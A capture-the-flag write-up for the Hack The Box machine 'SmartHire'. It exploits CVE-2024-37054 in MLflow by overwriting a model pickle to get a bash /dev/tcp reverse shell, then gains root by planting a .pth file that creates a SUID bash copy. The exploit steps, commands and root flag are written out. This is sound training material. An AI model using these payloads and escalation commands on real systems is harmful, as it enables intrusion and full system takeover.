↓ Skip to main content
HTB: SmartHire
  1. Posts/

HTB: SmartHire

Table of Contents

Introduction
#

SmartHire is a Linux machine centred around a job application portal and an exposed MLflow model tracking server. The initial foothold exploits CVE-2024-37054, an unsafe pickle deserialization vulnerability by abusing the MLflow artifact REST API to overwrite a stored model with a crafted pickle payload. Privilege escalation abuses a sudo-accessible Python management script that unconditionally calls site.addsitedir() on a world-writable plugin directory, allowing a malicious .pth file to execute arbitrary code as root at import time.

Recon
#

nmap
#

Initial nmap scan finds two open TCP ports, SSH (22) and HTTP (80):

sudo nmap -sC -sV -vv -oA nmap_scan/nmap_results 10.129.245.215
  • sC for defaults scripts
  • sV enumerate version
  • vv double verbose
  • oA output in all formats
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 41:3c:e3:bb:88:70:99:7f:b8:96:59:48:9b:85:98:69 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBLg1Y2xxe0euIHDjjKTIrxL+XZXgsBabs0FMAMKBL8arUuELui3vhlkgcDVGcZ4vFWnsiu4osw5INjfcQGkp2BY=
|   256 d5:9d:fd:6b:be:d8:39:6f:3f:43:ab:0e:f6:3e:22:db (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPc/kqsR+WxwGPMNTukcYPjzZRGjQL6N+0HsGIS1NV4U
80/tcp open  http    syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://smarthire.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Add smarthire.htb to /etc/hosts

Website - TCP 80
#

The website is some sort of job/hiring portal with registration and csv upload:

web1
web2
web3

I attempted some basic csv injections but got nowhere.

But since I have a domain, let’s try a subdomain scan next.

Subdomain enum
#

└─$ ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt:FUZZ -u http://smarthire.htb/ -H 'Host: FUZZ.smarthire.htb' -fs 178

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://smarthire.htb/
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 :: Header           : Host: FUZZ.smarthire.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 178
________________________________________________

models                  [Status: 401, Size: 137, Words: 11, Lines: 1, Duration: 35ms]

Quick scan finds models.smarthire.htb. Add it to /etc/hosts and check whats there.

There is a login popup window:

login

I attempt to log in with several common combinations and finally get in on admin:password

Inside is an instance of mlflow 2.14.1:

web4

Conveniently there are links to GitHub and Docs. First thing to notice on the GitHub page is the Security and quality tab with several listed vulnerabilities, even RCE one - RCE via crafted model artifact

MLflow introduced MLFLOW_ALLOW_PICKLE_DESERIALIZATION as a security control to prevent unsafe pickle.load execution during model loading, in response to CVE-2024-37052 through CVE-2024-37060. When set to False, operators expect all pickle deserialization to be blocked. The most recent related fix (#21188) patched a bypass in the pyfunc flavor.

However, the mlflow.statsmodels flavor completely omits this guard. An attacker who places a crafted MLmodel artifact into any accessible artifact store can trigger arbitrary code execution on any process that calls mlflow.pyfunc.load_model() against the malicious model — even when MLFLOW_ALLOW_PICKLE_DESERIALIZATION=False.

In short, MLflow’s pyfunc model stores Python models as serialized pickle files, mlflow.pyfunc.load_model() fetches the python_model.pkl and hands it directly to the pickle.load() without any validation or sanitization.

If I can reach the MLflow artifacts REST API I can overwrite that file with a malicious one and execute arbitrary commands the next time the model is loaded.

User
#

CVE-2024-37054
#

The version running here is vulnerable to CVE-2024-37054, an RCE via unsafe pickle deserialization in mlflow.pyfunc.load_module(). There are some public PoCs but I opted to write my own this time in Go for an added challenge to understand the raw binary layouts of Python’s pickle serialization and learn how to construct low-level exploit directly from a strongly typed compiled language.

PoC
#

CVE-2024-37054 is an unauthenticated remote code execution vulnerability in MLflow versions 0.9.0 through 2.14.1, caused by unsafe pickle deserialization inside mlflow.pyfunc.load_model().

The exploit chain works like this:

  1. Authenticate to MLflow and obtain an app session (registers a throwaway account if login fails)
  2. Upload a CSV to trigger model training, obtaining the registered model name
  3. Resolve the MLflow experiment_id and run_id via the REST API
  4. Build a malicious pickle that calls os.system("bash -i >& /dev/tcp/...") on deserialization
  5. Overwrite python_model.pkl in the MLflow artifact store via an authenticated PUT
  6. Trigger /predict, which calls load_model() → pickle.load() → reverse shell

Go doesn’t have version of Python’s cloudpickle (which would be ideal for this PoC) so it was replaced with a hand-crafted opcode stream (PROTO, GLOBAL, SHORT_BINUNICODE, TUPLE1, REDUCE, STOP). Stupid way to do what Python is built to do, but an opportunity to learn.

Shell
#

└─$ go run main.go --mlflow http://models.smarthire.htb --target http://smarthire.htb --user admin --pass password revshell 10.10.15.23 4444
App login failed (HTTP %d), falling back to registration

[!] Start your listener: nc -lvnp 4444

[*] Press ENTER when listener is ready…

[+] Done!

I start the listener and catch the shell:

└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.15.23] from (UNKNOWN) [10.129.245.215] 37118
bash: cannot set terminal process group (1020): Inappropriate ioctl for device
bash: no job control in this shell
svcweb@smarthire:/var/www/smarthire.htb$ 

Root
#

As always, starting the privilege escalation with sudo -l:

svcweb@smarthire:~$ sudo -l
sudo -l
Matching Defaults entries for svcweb on smarthire:
    env_reset,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
    use_pty

User svcweb may run the following commands on smarthire:
    (root) NOPASSWD: /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py *

I get one hit, let’s take a look:

#!/usr/bin/env python3
"""
MLFLOW-CTL: Operational interface for managing the MLflow service.
Supports a pluggable extension model for environment-specific logic.
For changes or plugin requests, please contact the Platform Team.
"""

from pathlib import Path
import sys
import site

BASE_DIR = Path(__file__).resolve().parent
PLUGINS_DIR = BASE_DIR / "plugins"

# make plugins importable
for path in PLUGINS_DIR.iterdir():
    if path.is_dir():
        site.addsitedir(str(path))

def print_usage():
    print("Usage: mlflowctl.py [status|backup-models|restart]")
    sys.exit(1)

def main():
    import mlflow_actions, backup_models

    if len(sys.argv) < 2:
        print_usage()

    action = sys.argv[1]

    if action == "status":
        mlflow_actions.check_status()
    elif action == "backup-models":
        print("[*] Running backup via backup_models plugin...")
        backup_models.run()
    elif action == "restart":
        mlflow_actions.restart()
    else:
        print(f"[!] Unknown action: {action}")
        print_usage()

if __name__ == "__main__": main()

At the very beginning, the script defines its home directory and looks for a subdirectory named plugins. It iterates through all folders there and registers them using site.addsitedir()

Looking at the plugins folder, I have a write permissions to the dev dir:

svcweb@smarthire:~$ ls -la /opt/tools/mlflow_ctl/plugins/
ls -la /opt/tools/mlflow_ctl/plugins/
total 16
drwxr-xr-x 4 root root 4096 Feb 19  2026 .
drwxr-xr-x 3 root root 4096 Feb 19  2026 ..
drwxr-xr-x 3 root root 4096 Feb 20  2026 core
drwxrwxr-x 2 root devs 4096 May 12 15:22 dev

This will do as a way in. I can create malicious ‘plugin’ in the dev directory and run it as root.

The payload will be classic copy of /bin/bash to the /tmp:

echo "import os ; os.system('cp /bin/bash /tmp/root2 && chmod u+sx /tmp/root2')" > /opt/tools/mlflow_ctl/plugins/dev/pwn.pth

Now simply run the mlflowctl.py with status and check if there is the root2 in /tmp:

svcweb@smarthire:/tmp$ sudo /usr/bin/python3.10 /opt/tools/mlflow_ctl/mlflowctl.py status

[*] Checking MLflow service status...

[+] MLflow service status: active
[+] MLflow container status: 'Up 48 minutes'

svcweb@smarthire:/tmp$ ls -la
ls -la
total 1416
drwxrwxrwt 13 root   root      4096 Sep 22 08:13 .
drwxr-xr-x 19 root   root      4096 May 13 16:02 ..
drwxrwxrwt  2 root   root      4096 Sep 22 07:25 .font-unix
drwxrwxrwt  2 root   root      4096 Sep 22 07:25 .ICE-unix
-rwsr-xr-x  1 root   root   1396520 Sep 22 08:13 root2
drwx------  3 root   root      4096 Sep 22 07:25 systemd-private-e45bdd62369c49c88b10d0dcc0a8d72c-ModemManager.service-GHtTDI
drwx------  3 root   root      4096 Sep 22 07:25 systemd-private-e45bdd62369c49c88b10d0dcc0a8d72c-systemd-logind.service-usoVfc
drwx------  3 root   root      4096 Sep 22 07:25 systemd-private-e45bdd62369c49c88b10d0dcc0a8d72c-systemd-resolved.service-zpFlks
drwx------  3 root   root      4096 Sep 22 07:25 systemd-private-e45bdd62369c49c88b10d0dcc0a8d72c-systemd-timesyncd.service-AcojAN
drwxrwxrwt  2 root   root      4096 Sep 22 07:25 .Test-unix
drwx------  3 svcweb svcweb    4096 Sep 22 08:06 tmpldgwn561
drwx------  2 root   root      4096 Sep 22 07:25 vmware-root_710-2990613080
drwxrwxrwt  2 root   root      4096 Sep 22 07:25 .X11-unix
drwxrwxrwt  2 root   root      4096 Sep 22 07:25 .XIM-unix

It is there, run it to get root and grab the flag!

svcweb@smarthire:/tmp$ ./root2 -p
./root2 -p
id
uid=1000(svcweb) gid=1000(svcweb) euid=0(root) groups=1000(svcweb),1001(mlflowweb),1002(devs)
cat /root/root.txt
6c109bcd5b943c83072ad42be40a4477
Author
~